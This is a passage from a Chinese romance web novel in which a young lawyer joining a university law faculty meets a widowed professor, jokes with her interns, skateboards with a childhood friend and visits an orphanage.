无数学子迈入高考考场。
包括苏兮。
她的生日正好在六月八号,这也注定了她的十八岁成人礼,将在这场非比寻常的考试中完成。
不过,比紧张情绪更胜一筹的,是“今天终于到来”的如愿以偿。
她终于等到这个时刻,去证明她已经长大,也有能力为别人遮风挡雨了。
第一场语文考试于上午九点准时开始。
与此同时,池漾也在睡梦中醒来,收拾妥当之后就出了门。
她住的小区就在朝大附近,走路过去也就不到十分钟。
系主任姚誉亲自带着她参观法学院,一边介绍着学校的历史一边闲谈:“这个学期快要结束了。所以正式的授课是从下学期开始,不过暑期我们学校也会有相关的课程设置,主要是针对双学位和MBA学生,如果有时间你也可以过来,先熟悉一下课堂。”
池漾一边应声说好,一边跟着姚誉往二楼走。
正值上课时间,所以教学楼里很安静,偶尔能看到几个学生,三两成群地从楼梯下来。池漾目光轻抬,自然而然和他们对视了一眼。
下一秒,只见那个为首的穿着蓝色T恤的男生,快步走到姚誉和池漾面前,直入主题地问道:“姚主任,这是您新收的研究生吗?”
姚誉摆摆手,介绍着:“这你们下学期的新老师。”
“新老师?”男生的眼睛一下子亮了起来,“那老师,您教什么科目啊?”
池漾清浅一笑,如实道:“国际经济法。”
“啊?这门课我这学期刚学过啊......”他语气忽然变得失落,“我们明天正好考国际经济法。”
姚誉将这些小男生的心思看的透透的,直接发话:“明天要考试了还不赶紧去复习,还在扯什么扯。”
“哦。”男生悻悻应了声,说了声再见。然后谨遵师言,抬脚就往图书馆走去。
结果还没走两步他就又折返了回来,一脸认真地说:“不对啊,我还复什么习啊,我直接挂科,下学期正好可以再选一遍这个课。”
“挂科?”姚誉皱起眉头,“你是保研资格不想要了,还是奖学金不想要了?你敢挂一个试试!”
男生笑得肆意,大言不惭道:“那些都身外之物,若为老师故,两者皆可抛啊!皆可抛啊皆可抛啊!”
姚誉忍无可忍,呵斥道:“你抛一个试试?一天天的就会耍嘴皮子。”
男孩丝毫不惧“权威”,就坡下驴:“那律师可不就是得嘴上功夫了得吗?你说对吧,姚主任?”
姚誉自然有办法治这群小崽儿们。
池漾侧目,看到姚誉抬起手漫不经心地看了一眼手表,慢悠悠地说道:“这句话对不对我不知道,我只知道,还有十秒钟就要下课了,你现在再不去图书馆,就真的没位置了。”
结果,他话音还没落,池漾就看到那个男生嗖的一声,像风一样跑远了。
对于这个小插曲,池漾没放在心上。
倒是姚誉先不好意思了,解释说:“池老师别介意,我们朝大的学风就是比较开放和自由,老师跟学生都处得像朋友。以后你上课就知道了,一个个看起来没大没小的,其实都有趣的很。”
池漾莞尔一笑:“当然不介意,跟他们打交道很有意思。”
说话间,两个人走到了二楼,此时正巧下课铃声响起,过道瞬间热闹了起来。
姚誉看到正从教室里走出的白清让,出声叫住了他:“白教授!”
白清让闻声转头,看到系主任的身影,大步走来。
池漾也跟随姚誉的目光朝那人望去。
此时阳光正灿,铺满了整个过道。
池漾和姚誉站在背光处,不算太亮,可逆着光走来的那个身影,却沐在整片金黄里。
阳光有些刺眼,池漾看不太清楚他的神情,但依然能够感受到,那个人温文儒雅的气质。
池漾看着来人,只见他一边朝这边走来,一边微微颔首着,和姚誉打招呼:“姚主任,找我什么事?”
音色温润谦和,不急不缓。
“我给你介绍一下,”姚誉一边说话一边指向池漾,“这是我们学院新聘请的老师,毕业于剑桥法学院的池漾律师。”
白清让对学校聘请了谁当新老师这件事并不感兴趣。
甚至当姚誉说前半句的时候,他之所以调转目光,纯粹就是想表达一下基本的礼仪,走过场似的问个好。
可他没想到,世界这么小,半个月前在飞机上偶遇的人,就这么突然出现在了他的面前。
所以,原本的漠然与当下的震惊一比,就显得他的失态,尤为突出。
尤其是在听到池漾这个名字之后。
他感觉自己被定格,不知该作何动作。
尤其是昨晚那个电话,让他更加心虚。
池漾友好地伸出手,礼貌得体地问着好:“白教授好,我叫池漾,以后还请多多关照。”
如出一辙的音色,让白清让的脑子瞬间宕机。
姚誉看着怔在原地的白清让,与池漾伸出去却迟迟没有得到回应的右手,心想白清让这是怎么回事?
怎么让女士下不来台。
姚誉正打算上前解围时,池漾已经淡定自如地为自己打好了圆场:“还有姚教授,以后也请多多关照。”
她一边说着,一边不动声色地把自己的手收回。
可就在下一秒,白清让却忽然倾身,握住了她将要收回去的手。
“幸会,池律师。”
他声色清润,握出去的手掌温厚有力。
尴尬的序曲就此戛然。
可灿烂天地间,只有白清让自己知道——
除却伸出去的那只右手,他整个人都在颤。
-
从朝大离开后,池漾驱车赶往律所。
当她把厚达百页的英文合同看完,夜幕早已在不知不觉中降临,窗外华灯初上。
她关上电脑,拿起桌上的车钥匙,准备回家。
外面的格子间工位上依然三三两两地亮着灯,映着一些青涩的面孔,纵然疲惫消磨了眼里的神采,一腔热血仍难凉夜色。
看着大家都一副眉头紧锁、压力很大的模样,池漾停住脚步,带着笑意问道:“现在累还是高考累啊?”
几个小脑袋从格子间里抬起了头,看到她,眉眼间浮上了几许欣喜神色。
池漾亲自带的实习生孟仲季最为积极,阵势特别大地哀叹:“当然是现在累啊。”
池漾看着他笑,问他为什么。
孟仲季一脸嘚瑟:“因为我是保送的,没参加高考啊。”
话音刚落,别的工位上不约而同地响起了此起彼伏的“嘁”。
孟仲季顺着“嘁”声下台阶,“各位参加过高考的状元们,饶我一命。”
大家七嘴八舌,没有半点饶他的意思——
“不请吃饭绝不饶你!”
“我同意!宇宙中心新开了一家店!我早就想去吃了!”
“老孟不是京大的吗!对那块儿肯定很熟!让老孟请客!”
“......”
繁重的压力下,一点小小的调剂就能重新唤起兴奋的味蕾,让人们重燃斗志。
一群人正笑得惬意,池漾看着他们,感觉自己的内心也慢慢松弛了下来,“我住青年路,有没有顺路的,我可以捎你们一段。”
孟仲季又第一个打头阵:“不用了!池律师早点回去吧!我们还要努力工作!”
正准备关电脑搭池漾车回朝大的蒋嘉末:“......”
见没人接茬儿,池漾只好跟大家说了再见:“那你们回去注意安全,大家周末愉快,周一见!”
“周末愉快!”孟仲季站起身来,目送着池漾的身影消失在走廊尽头。
结果,当他目送完毕,正准备坐下的时候,屁股还没挨着板凳,就忽然被一股神秘的力量锁了喉。
蒋嘉末一手撑着桌子,一手扼住孟仲季生命的咽喉,语气威胁:“三秋,你是不是故意找死?”
孟仲季听到这个外号简直气到爆炸,努力想要挣脱,“你再叫我这个名字,信不信我手撕了你?”
蒋嘉末牢牢锁住他不放,“然后被判个故意杀人罪?知法犯法罪加一等,知不知道?”
剩下的一群人看着热闹,丝毫不嫌事大。
僵持了一会儿,孟仲季终于问道,“等等!我特么到底哪里招你惹你了?”
蒋嘉末手上力量丝毫未松懈,“你不知道我是朝大的?”
“知道啊。”
“那你不知道朝大离青年路很近?”
“知道啊。”孟仲季回的相当理直气壮。
“那你还那么说!我刚才正准备搭池律师车走,你那么一说你让我怎么搭!”
孟仲季一把撒开禁锢着他脖子的手,“我就是知道才故意这么说的,我才是池律师亲自带
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的实习生,你凭什么搭她的车走?”
蒋嘉末被他这个无耻至极的言论震碎了三观,忍不住吐槽:“三秋,你可真是太不要脸了。”
孟仲季条条有理地回击:“权利和义务是相辅相成的,你没付出义务,凭什么享受权利?”
蒋嘉末睨他一眼:“你不就是面试的时候比我先进去吗,要是我先进去,池律师选择的肯定是我!”
“跟着我顾锦泽,委屈你了?”
突然之间,一个熟悉的声音悠悠地传入众人的耳畔。
大家纷纷抬眸,看到顾锦泽正站在走道上,嘴角带着笑意,饶有兴致地看着他会怎么接。
蒋嘉末瞬间起身,正了正刚才被□□行动弄歪的衣领,嘟囔道:“确实是有点委屈。”
吃瓜群众:老蒋这是不想干了?
结果,蒋嘉末在众人的疑惑中接上更令人疑惑的一句:“我感觉跟着您,我每天都想犯罪。”
“哦?”顾锦泽倒是不恼,气定神闲地走到蒋嘉末身边,好奇道:“怎么个想犯罪法?”
蒋嘉末装腔作势地清了清嗓子,一本正经地说:“顾律师!您真的太完美了!咱俩又是同性,我容易嫉妒!嫉妒可是七宗罪之一啊,我看到您的那一刻,就已经开始了我的犯罪行径。”
听到这儿,吃瓜群众像刚才对待孟仲季那样,不约而同地嘁了一声,随即大笑开来。
唯独孟仲季白眼瞪着蒋嘉末,心想就特么你会瞎扯淡!
你怎么不去当厨师!
顾锦泽也是第一次听一个男的跟他讲这么有专业色彩的情话,一时之间竟然也有点懵,不知该怎么接。
默了几秒,他起了个新话题:“你们池律师不完美吗?”
蒋嘉末音调不由自主的上扬:“那何止是完美啊!简直是我心中的女神!”
“那你怎么......”顾锦泽问到一半突然停住,“懂了。”
还没为什么,异性相吸呗。
顾锦泽特地回来是为了发封邮件,于是他也没多逗留,就抬脚走向了自己的办公室。没走几步,他似想到什么一样,又忽然回头,“池律师什么时候走的?”
孟仲季:“刚走的,您回来没碰上她吗?”
“没有,估计是乘电梯的时候错过了吧。”
说完,顾锦泽心里有些遗憾,本来还想亲自告诉她今天认识了一个大客户。
-
今天下午,顾锦泽在外面见完客户,顺道去了趟电视台。
出来的时候已经六点多了,正值晚高峰,中央商务区更是惨不忍“堵”。
他站在落地窗前,看着来往的车辆,决定在咖啡厅等一会儿再回家。
他怎么都不会想到,池漾真的料事如神,他顾锦泽真的凭借着自己的“美色”给自己拉来了一个大客户。
这天,席砚卿正巧来电视台录制节目,财经频道的《人物聚焦》。
录制完后,他和钟离声正准备离开。
席砚卿眼神只是随意一瞟,视线里就落进了一个熟悉的背影。
随即,他顿住了脚步。
只看背影,席砚卿还不太确定他是不是半个月前在机场看到的那个人,于是停下来观察了一会儿,只见那个人面向窗外站了一会儿就转过身来,在一张桌子前坐定。
席砚卿看到他的正脸。
果然是那天站在她身边的那个男人。
此时此刻,席砚卿觉得自己像个侦探,真相近在咫尺。
钟离声察觉到他的反常,于是顺着他的目光看去,“那不是顾锦泽吗?”
席砚卿:“你认识他?”
钟离声点点头:“打过交道,他是蓝仲律师事务所的创始人,曾有意承接我们公司的案子,但没有成形。你也知道我们和天泽合作了这么多年,不好轻易更换。虽然每年有不少的律所向我们抛出橄榄枝,但他给我留的印象很深。”
席砚卿眉梢微扬,“怎么说?”
“别的律所都是尽力宣传自己的优势,只有他们律所,在不知道会不会有结果的前提条件下,直接针对我们当时的收购案制定了详细方案,我看过那个方案,专业又精准,需要花费不少人力和精力。最后虽然没被我们选择,但他的态度依然很谦虚,并且不卑不亢。”
听到这儿,席砚卿嗯了一声,然后直接迈着大步朝他走了过去。
钟离声跟上他的脚步,“你想干什么?”
他淡淡一笑,说:“套个近乎。”
5. 追风
池漾今天回来的有些晚,正犹豫着要不要做晚饭的时候,微信突然响了一声。
她本以为是工作上的事情,点开一看,竟然是叶青屿。
他发来的信息一如既往的果断利落,没任何寒暄,直接甩了个定位地址,后面跟着一行文字:【来飞两圈?】
池漾:【等着。】
饭也不做了,反正也不是太饿。
她小跑着进了卧室,脱下衬衫半裙,飞快地换了一身新的行头。
白色T恤搭黑色短裤,脚蹬一双黑色板鞋。
简单得不能再简单的装扮。
穿好之后,池漾在玄关处的镜子前站定,盈盈细腰下,一双笔直又细长的白腿素净垂落,天然不加修饰。
棕色卷发随意一拢,被她扎成学生气十足的马尾,然后她将手机一甩,插在了裤子的后侧口袋,最后,她利索地打开了储物柜。
最上层的那一格,有一个扁平状的黑色包裹。她小心翼翼地拿下,沿着拉链拉开,里面的东西保存的锃光瓦亮。
她双手取出,然后就一溜烟地从家里跑了出去。
-
池漾以飞一般的速度到达约定好的地点,一眼就瞥见了叶青屿的身影。
他正斜倚在栏杆上,左脚微微施力撑着一个滑板,右腿则随意一勾,慵懒又散漫地点着地面,背影清瘦,一副漫不经心的模样。
护城河边的灯盏渐次亮起,不算明亮,却招来漫天的萤光。
池漾朝着他走去,看着灯光明明灭灭地斜擦过他耳鬓,心生一暖。
感觉到某人的气场渐近,“静若雕塑”的叶青屿终于抬起眸来。
首先映入他眼帘的,是那双同款的鞋,目光逐渐上移,他就看到池漾双臂交叉抱在胸前,嘴角扬起一抹浅浅的弧度,正站在台阶上居高临下地看着他。
叶青屿立刻站直了身子,捋了捋衣摆,笑容浮上唇角眉梢,笑说:“哟,池大律师,好久不见啊。”
池漾挑眉看着他,没接他递过来的包袱,而是脚尖一挑,任凭滑板在空中滑出一条完美的抛物线,直直又稳当地落在台阶下。
“少打官腔,走,飞一圈去!”
说完,池漾也不等他,左脚迅速地踏上滑板,右脚一助力,她便成为了操纵滑板的舵手。
叶青屿也不甘示弱,熟练又飞快地与她追平。
两个人配合默契,肆意飞扬过曲径悠长的河边,成为一道最鲜活的风景线。曲折迂回的走廊是一道试题,他们穿梭在其中,游刃有余。
轻柔的夏日晚风,被跃动的身体疯狂加速,劈成刀割似的扇面,慌慌张张地掠过耳畔。
那些不得解的疑惑与烦闷,被风一扫,通通诉诸脑后。
-
兜兜转转飞了好几圈,他们才终于停住脚步。
池漾找了个安静的台阶坐下,额头上微微浮出了一层汗,晚风一吹,格外惬意。
叶青屿去报刊亭买了两瓶水,拧开瓶盖递给她。
“谢啦!”池漾接过喝了一大口,“这次回来,还走吗?”
“不走了,准备开个工作室。”
“那他呢?”
“还在德国。”
听到这儿,池漾轻轻哦了一声。
然后,两个人思绪都不由自主地飘远。
池漾也不知道为什么,或许是今晚的夏风与半个月前的那抹夏风很是相似吧,让她蓦然又想起那个人来。
“青屿哥,我能问你一个问题吗?”
“问。”
“就是......我......不是......你等下......”
池漾开了无数个头,但就是找不到适当的措辞来形容这种感觉。
看她吞吞吐吐欲言又止的样子,叶青屿丝毫不留情面地笑出声来。
池漾本来就不知道该怎么去说这件事,被他这么一笑心里更慌了。
叶青屿看她那个样子,不像是在开玩笑,索性不再逗她,神色正经了一些:“啥事敞开了说,这世界上就没我叶青屿摆平不了的事。”
池漾不屑地呵了声。
最后,她思来想去,还是决定循序渐进,先问一个叶青屿肯定能够回答上来的问题:“你说,喜欢一个人是什么感觉?”
听了这个问题,叶青屿明显地愣了下,眼底闪过一丝惊诧。确认过自己并没有听错,他突然激动地站了起来,音调也随之提高了几个分贝:“不是吧,清心寡欲系代表人物终于要下凡了?”
池漾蹙起眉头,睨他一眼:“这都什么鬼外号?”
叶青屿望了眼天空,语气满是遗憾:“你不会不知道吧,这是大家给你封的啊。想想上中学的时候,我替你收的情书;还有上大学的时候......”
“得得得!”池漾看他这个阵仗,颇有一副滔滔不绝之势,于是她迅速地用手摆出一个停住的动作,“打住!”
叶青屿嘴角扯出一抹笑,重新在她身边坐下,指了指自己,语气莫名傲娇:“这也就是我这样的谦谦君子能以身作则,换别人早就近水楼台先得月了你信不信?”
池漾嘁了一声,自动过滤他的夸大之词。
叶青屿却瞬间来了劲,用胳膊肘戳她:“来,跟哥哥讲讲。”
池漾耸耸肩,无奈地叹了口气:“算了,跟你说了你肯定以为我是编的。”
叶青屿好奇心爆棚,咬着牙催促:“快说!”
池漾抱着曲起的小腿,下巴搁在膝盖上,目光盯着波光粼粼的湖面。
大概组织了一下措辞,她才言简意赅道:“就是,我两周前在机场遇到过一个人,我总感觉在哪里见过他,但是我把我的回忆翻来覆去地筛选了大半个月,还是没想起来他是谁。你也知道我朋友圈子一直很小,所以如果我们以前见过或者认识的话,我肯定不至于想不起来啊。”
叶青屿:“两周前?”
池漾嗯了声,说着她想起来的最后一丝可能性:“你说这个世界上,会不会真的有前世今生存在?”
听到这句话,叶青屿心里不住地开始往外冒问号——
这他妈还是他认识的那个池漾吗?
这还是那个理性又冷静的池漾吗?
她竟然会允许一次偶然的对视在她脑海里徘徊了大半个月?
还有,她竟然会说出前世今生这种话?
两人默契地沉默了一会儿,直到叶青屿叫她:“池漾。”
池漾把头埋在膝盖上,轻轻嗯了一声。
“这世间,还有一个词,叫一见钟情。”
池漾抬起眸来:“我知道,我又不是文盲。”
“......”叶青屿轻啧一声,“谁特么问你知道不知道了?我是想告诉你,这个世界上,很多美好事情的发生是没有预兆的,是突如其来的,是上天馈赠的。你得相信这件事,懂么?”
池漾又嗯了一声。
叶青屿听着她漫不经心地答话,语重心长道:“那天见面是什么样子,你给我详细描述一下,让我作为一个旁观者给你分析分析。”
池漾理了下思绪,她的能言善辩都在自己的专业领域,讲故事不是她的强项。
“就是我那天从波士顿回国,下了飞机本来在等行李。但是当时正好律所的一个客户也到达了机场,我就先行一步,出来寻找这个人的航班到达信息。就是在找信息的时候,那个人就没有任何预兆地,闯进了我的视线。然后也说不清为什么,我就突然感觉周遭的一切都失了焦,只有他的那张脸越来越清晰,最重要的是——”
池漾停顿了下。
叶青屿:“最重要什么?”
池漾望着眼前的茫茫夜色,说:“我不知道是不是错觉,就是我能感觉到......他好像也在看我。还有,我有些荒唐地觉得......他的眼神,应该和我看他的眼神如出一辙。”
“那如果他再次出现在你面前你还能认出来吗?”
“当然能啊。”她答得很快,心想那卓然的气质任谁都难以忘记吧。
“最后问你一个问题,”叶青屿看向池漾,“你还想见到他吗?”
“当然......”或许是太过期待,听到这个问题,池漾不由自主地停顿了一下,最后还是把答案落在了一个字。
“想。”
可是说一千道一万,那只不过是一场素昧平生的邂逅而已。
这世界这么大,刻意想遇见的人都遇不到,更何况她。
-
夜色越来越浓,池漾和叶青屿没有久待,就“滑”上了回家的路。
因为正值期末考试周,所以白清让今晚在学校加了个班。
正准备下班回家的时候,白念笙说她想吃护城河南边的糖葫芦了。护城河离朝大并不远,再加上今晚吹着小风,很适合散步,于是白清让就拉着白念笙,来到了护城河。
他没想到会在这里看到池漾。
难辨面容的夜色里,比身影先行一步的是她的声音。
几乎是潜意识的动作,他的目光瞬间跟随着声音的来源循去。
在他意料之中的是,这个声音的主人果然是池漾!
在他意料之外的是,这个声音的主人竟然是池漾!
一身青春休闲着装,高高挽起的马尾随风而动,最令他惊讶的是,她竟然在——
滑滑板。
这反差,跟上午见到她时清冷又优雅的气质简直大相径庭。
她滑的速度很快,白清让还没来得及叫住她,就看到她的身影消失在了视线中。
他盯着那个早已消失的身影,愣神了好一会儿,直到闺女叫他,他才把注意力拉回来。
白念笙本来是被爸爸拉着往前走的,结果突然感觉爸爸停下了脚步,她也被迫停了下来。
“爸爸,你怎么不走了?”白念笙摇着白清让的胳膊,仰着头奶声奶气地问道。
白清让从刚才的失态中回过神来,微笑着低头,一把抱起了她,“因为爸爸在想,笙笙快过生日了,给我们笙笙买什么礼物才好。”
小姑娘眼睛亮闪闪的,扑闪着眼睫,满怀期待地问:“那爸爸想好了吗?”
白清让抱起她往前走,“我们笙笙想要什么礼物?”
小姑娘特别认真地低下了头,像是在沉思。
白清让看着她的乖巧模样,心里在甜蜜之外,泛起一层心酸。
他曾在别处看过一句话——爱你,就是和你一起生个孩子,然后和你一起,看看你小时候的样子。
可如今,物是人非。
“和你一起”四个字,成了再也不能实现的奢望。
小姑娘低头思考了好一会儿,才说道:“笙笙不要什么礼物,笙笙只希望爸爸可以永远陪在我身边。”
听了这话,白清让心头一紧。
回忆如浪潮,不听使唤地涌入脑海——
“清让,我不想要什么礼物,我只想要你好好地陪在我的身边。”
那时候,她也是这样,一脸满足地挽着他的脖颈,说她什么都不需要,只要自己待在她身边就好。
到底是亲生的,连许下的愿望都如出一辙。
白清让对着白
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念笙笑了笑:“好,爸爸答应你。”继而,不动声色地将这份思念,流放进沉沉夜色。
笙笙高兴地点了点头,脸上却罕见地有些心不在焉,白清让细心地问她怎么了。
小姑娘斟酌了一会儿才忐忑地开口:“爸爸,我刚才好像听到妈妈的声音了。”
白清让神色一怔,不知该如何作答。
许久后,他才安抚般地摸了摸白念笙的后背,轻轻说:“笙笙,你看。”
说完手指指向天空的方向。
那里繁星璀璨,似一片永远不会熄灭的灯海。
白清让把她抱在怀里,语气温柔:“那是因为,妈妈在拜托天上的星星跟你说话。妈妈工作很辛苦,很多人都需要妈妈,可是当妈妈休息的时候,就会找个办法跟笙笙说话,有时候是通过星星,也有时候是通过梦。”
小姑娘点点头,没再多问。
白清让把她的所有表现都看在眼里。
快五岁的小孩了,怎么可能什么都不懂,怎么可能全盘相信他的话。
但也不可能全都懂。
毕竟,这命题太大了。
虽然他不知道这个梦还能编织多久,他也没那个野心把这个字眼永久尘封。
他只是希望,等到她真正长大,真正需要自己去扛起所有风雨的那一刻,他能够为她的世界,裹上一层童话。
让她在广袤又繁重的世界里,有一片自己可以栖息的天地。
-
池漾对这个插曲浑然不知,一路与叶青屿说着笑着,回了家。
进了小区,叶青屿打量着周边的环境,评价道:“这小区不错啊,绿化挺好的,配套设施也都齐全,又临着重点大学,这房价应该又涨了吧,买的真值!”
池漾听着这话,问他:“对了,刚回国你住哪儿?”
叶青屿混不吝地答:“没地儿住,你收留一下?”
池漾懒得理会他的玩笑,直入正题:“说真的,我对门那一家正想卖房子,他们孩子要出国,他们也准备移民过去,然后就想把房子卖了,装修都装好了,一天都没住过。俩人都是朝大的教授,挺靠谱的,价格还低于市场价,你要是打算买房的话我帮你问问?”
叶青屿啧了一声:“不是吧?你让我住你对门?你是不是打算折磨我一辈子?”
池漾瞪他一眼,对他不识好人心的行为表示强烈鄙视。
“你信不信,要是我住你对门,你家灯泡坏了得我换,快递到了得我拿,反正什么乱七八糟的事儿都得我来,”叶青屿的控诉之语一句接一句,“还有,你这么性冷淡,估计等我都把人等回来了,你还没嫁出去呢。到时候你就是个电灯泡,最大瓦数的那种。”
池漾忍无可忍,轮起滑板就想砸他。
叶青屿慌忙告饶。
俩人不正经了一会儿,叶青屿才认真地思考了一下这个可能性,“不过说真的,你帮我问问吧,跟你住对门挺好的,没事儿去蹭个饭啥的,多方便呢。况且我也要在这边发展,买房是早晚的事。”
池漾应声说好:“你工作室准备的怎么样了?”
叶青屿:“这你放心,一切都在掌控中,我不会做没有把握的事情。”
池漾点点头,这点倒是确实用不着她担心。叶青屿毕业于国际知名设计学院,曾在某知名奢侈品牌担任过设计总监,她还沾过他的光去看过几场时装秀。
这工作室虽说还没正式开业,但不难想象,已经在时装界名声大噪的他,肯定不会缺少客户。
池漾义气十足地拍了拍他的背,嗓音婉转:“那祝叶老板灵感四溢,创作丰盛。”
叶青屿看着她,笑了下。
到底是池漾,知道他真正的梦想是什么,才不会说类似生意兴隆的俗套话。
把池漾送到楼下,叶青屿叮嘱道:“那我走了,你上去吧,明天见。”
池漾叫住他:“你打车来的?”
“嗯。”
“你开我车走吧,明天来接我,然后我们一起去找艾姨。”
“也行。”
于是,叶青屿就和池漾一起上去拿车钥匙。
出电梯的时候,池漾目光往对面一扫,发现对面的门竟然开着,里面还传来断断续续的动静。
池漾走近看了看。
房间内,一个年轻的背影正在打扫卫生,池漾认出他应该是那对教授的儿子。
池漾正想着上前打个招呼,顺便帮叶青屿问问房子的情况,就看到从卫生间里出来了一个人,是郭鸣教授。
郭鸣也看见了池漾,热情地走上前来:“是漾漾啊,刚才我还去敲你家门呢,结果没人。”
池漾笑着问了声好:“我刚才去见了个朋友才回来,您有什么事吗?”
“没事没事,我们就是要出国了,来跟你告个别。”
“那这房子......”
“已经有人要买了,明天来看房,所以我带儿子来收拾一下,太多灰总归不礼貌。”
“已经卖出去了啊?”
“这得明天看完房才能决定。”
“这样啊,那恭喜啦,希望你们在国外的生活也和和美美的。”
“谢谢大姑娘,有空来澳洲玩。”
池漾又寒暄了几句,才转身离开。
叶青屿站在她身后,没忍住感叹了句:“唉,看来做邻居的愿望是泡汤了啊。”
池漾也觉得有点失落:“哪个买主下手这么快啊,我今天早上看郭教授的朋友圈还说没卖出去呢。”
叶青屿耸耸肩,无所谓道:“谁知道呢。”
6. 重逢
六月八日,又是新的一天。
高考前后,这座城市总会下雨,不是轰轰烈烈令人心烦意乱的暴雨,而是细细浅浅令人心旷神怡的小雨,一扫夏日的燥热,唤起清清爽爽的气息。
这样的馈赠年复一年,从未失约过。似乎是上天给辛勤耕耘的学子最盛大的礼物——携适宜的空气、天气、人气,给所有追梦人最贴心的庇佑。
今天是苏兮的生日,也是她高考的最后一天。
叶青屿也知道今天是高考的日子,所以特意九点之后才开车出发,一是不想给交通带来压力,二是想让池漾多睡会儿。
接上池漾,他们直奔目的地。
不多时,他们就到了。
蓝色大门上的牌匾有些泛旧,但几个大字依旧清晰可见。
方方正正的金色楷体,写着“心灵美福利院”六个大字。
池漾和叶青屿下了车,打开后备箱,开始拿给孩子们带的礼物。
艾梁钰感觉他们差不多快到了,正巧出门来迎他们。
艾姨全名叫艾梁钰,是这家福利院的院长,快五十岁了,是个善良温柔的人。
“漾漾!青屿!”艾姨亲切地唤着他俩的名字,声音里满是掩不住的欣喜和想念。
“艾姨!”
“快进来!快进来!”
池漾和叶青屿提着大包小包往里走。
因为在国外工作的关系,叶青屿好久没来了。不过,他常常给孩子们寄明信片,所以倒也不至于太生疏。
几个跟池漾和叶青屿早就熟悉的孩子,看到这俩人都兴高采烈地围了上来。
还有几个小孩儿,没见过池漾和叶青屿,于是大多数都讪讪地站在角落。
这样的情况,池漾不是第一次遇见。
最开始的时候,她还需要自己去打招呼,以防那些孩子觉得自己被冷落了。
而现在,这样的事情已经不用她自己做了。
这不,正想着呢。
孩子王添添已经主动拉着池漾和叶青屿,去给他们介绍新朋友了。
添添也才六岁,但相当有领袖气质地挥了挥手,“我知道大家都很想念池漾姐姐和青屿哥哥,但是我们这里还有些小朋友不认识哥哥姐姐呢!我们先让他们认识认识,然后再一起玩好不好?”
奶声奶气的声音此起彼伏:“好!”
话音刚落,孩子们便自发地分成了两拨。
池漾和叶青屿被一拨人簇拥着,往教室中间走。
另外一拨人则上前拉上新朋友的手,也往教室中间走。
教室很小,两群人很快就碰上了,然后便很快地热络起来。
所以,真正能够生出隔膜的,从来不是空间上的距离,而是心灵上的。
池漾还记得,她最开始来的时候,也是这样,有熟悉的孩子,也有陌生的孩子。
熟悉的孩子们常常特别亲昵地围在她身边,让她动弹不得,好像生怕她走了一样。
她越过人群往角落里的孩子们那里看,那一双双眼睛里,写满了不敢明说,却又明显至极的失落。
她受不了这样的目光,心里突然一阵抽搦。
被人冷落的痛,从来不需要见刃,更不需要见血。
它似南方的寒冬,无凛风,无暴雪,冷气却能噬入骨髓,吞没所有敏感触觉。
神经末梢牵引出的细微情绪,一经放大,就成了经年累月的无奈认定——
我天生不值得被爱。
这种想法,如果不从最初切断,便再难颠覆,继而成为一个人背负一生的枷锁。
所以,那次她对孩子们说:“你们要给姐姐介绍新朋友啊。”
几个小孩扭扭捏捏地站在原地,不挪步,假装没听到。
池漾懂得他们的心思,这里的孩子大都缺乏关心和关爱,因此任何人多一点的注视和偏爱,都是他们获得安全感的资本。
这不是自私,而是他们能抓住的稻草就那么几根。
别的孩子丢了一根稻草,还有一整个稻草人;他们丢了一根稻草,就少了一根稻草,就少了一点取暖的资本。
所以,只有在足够的关爱与疼惜中成长起来的孩子,才不怕失去。
也是在那一次,池漾懂得,一味要求孩子们乐于分享、胸怀大度,是多么自私的想法。
因此她换了个说法:“你们知道吗?这个世界很奇妙,有些东西会越变越少,但有些东西会越变越多。”
果然,孩子们好奇地睁大了眼睛。
她接着说:“比如说这个苹果,吃完了一个就少了一个,但是朋友不一样,姐姐不会因为认识更多的人就把你们给忘了。相反,如果你们带我认识新的朋友,那么我会很感谢你,因为你让我得到了更多的爱,与此同时,你也会得到更多的爱,你的朋友们也会得到更多的爱。”
那是她第一次说出这样的话。
那一次,牵起她的手往角落里走的孩子,还只有寥寥几个。
而如今,都不用她多做解释,孩子们已经自发地分成两拨,介绍他们认识。
池漾觉得欣慰。
他们,本来就值得盛大又浓烈的爱。
他们每个人,都适配、绝配、顶配这样的爱。
毋庸置疑。
需要质疑的人,从来都不是他们。
-
池漾和叶青屿在福利院和孩子们一块儿吃了午餐,等到他们都午睡了,两个人才偷偷开车离开。
她系上安全带,想起昨晚的事儿,随口说着:“也不知道郭教授的房子卖出去了没?”
叶青屿瞥她一眼:“怎么?这么想让我当你邻居?”
“嗯。”
“我去!池漾!你不是有恋哥情结吧!你可不能这样啊......”
“......”池漾看他在开车,只能用眼神杀他,否则现在早一个巴掌轮到他背上了,“不是,这不是快到暑假了吗,媛媛说想带几个孩子过来这边玩几天。我怕我那里住不下,你要是住对门,我直接把男孩子往你那儿一扔就行,多省事。”
叶青屿:“......”
行吧,敢情是把他那儿当旅馆了。
什么恋哥情结,都特么扯淡!
叶青屿:“要不你再问问那个邻居,说不定还没卖出去呢,现在谁买房看一次就能买的啊。当然如果他特别有钱的话,另说。”
池漾这才想起拿出手机看微信。
今天没有工作安排,再加上要陪孩子们,她直接忽视了手机的存在。
结果一打开对话框,就看到好几条消息。
最顶上的那条是郭教授发来的:【漾漾啊,房子上午卖出去了,是位很有风度的先生买的,听说还是单身。你不是正好也单身,我看你俩可以发展发展啊,那我也算是促成一桩姻缘了。】
池漾无奈抚额。
上面还有一条:【我们要走了,阿姨给你做了些青团,包好挂在门把手上了,你记得吃。】
又有些感动......
给郭教授回了条感谢的消息,池漾退出对话框。紧接着,她目光下移,看到顾锦泽的头像上显示着一个数字七。
她一边点开一边对叶青屿说:“房子已经卖出去了......”
越往后,她说话的声音,就越弱。
叶青屿正纳闷呢,紧接着就听到她急促的声音:“送我去律所!能多快就多快!”
叶青屿一怔,观察了一下路况,随即加快了一些速度。“怎么了?律所有事?”
“嗯,”池漾极快地浏览完顾锦泽发来的消息,“风盛投行的总监突然来我们律所了,说是要跟我们谈合作,这可是大案子啊,我们去年就想跟他们合作来着,没成行。”
从事艺术行业的叶青屿天性不爱束缚,对这种工作制度相当不满,替池漾忿忿不平道:“不是,他们来都不提前打招呼的吗?大周末还得随叫随到?”
“律师哪有不加班的啊,”池漾看了眼手表,“没事,这点儿不会堵车,应该很快就能到。主要是今天所里的合伙人都没在,只有两个实习生在,我怕他们撑不住。”
叶青屿集中注意力开车,问:“他们约的几点?”
池漾重新确认了一下顾锦泽发来的消息,语气有些不可思议:“说是不管几点,他们都可以等。这风盛投行的总监脾气这么好的吗?这么有耐心?”
叶青屿轻哼了一声:“这不是人之常情?是他们突然来访,他们有什么资格着急。”
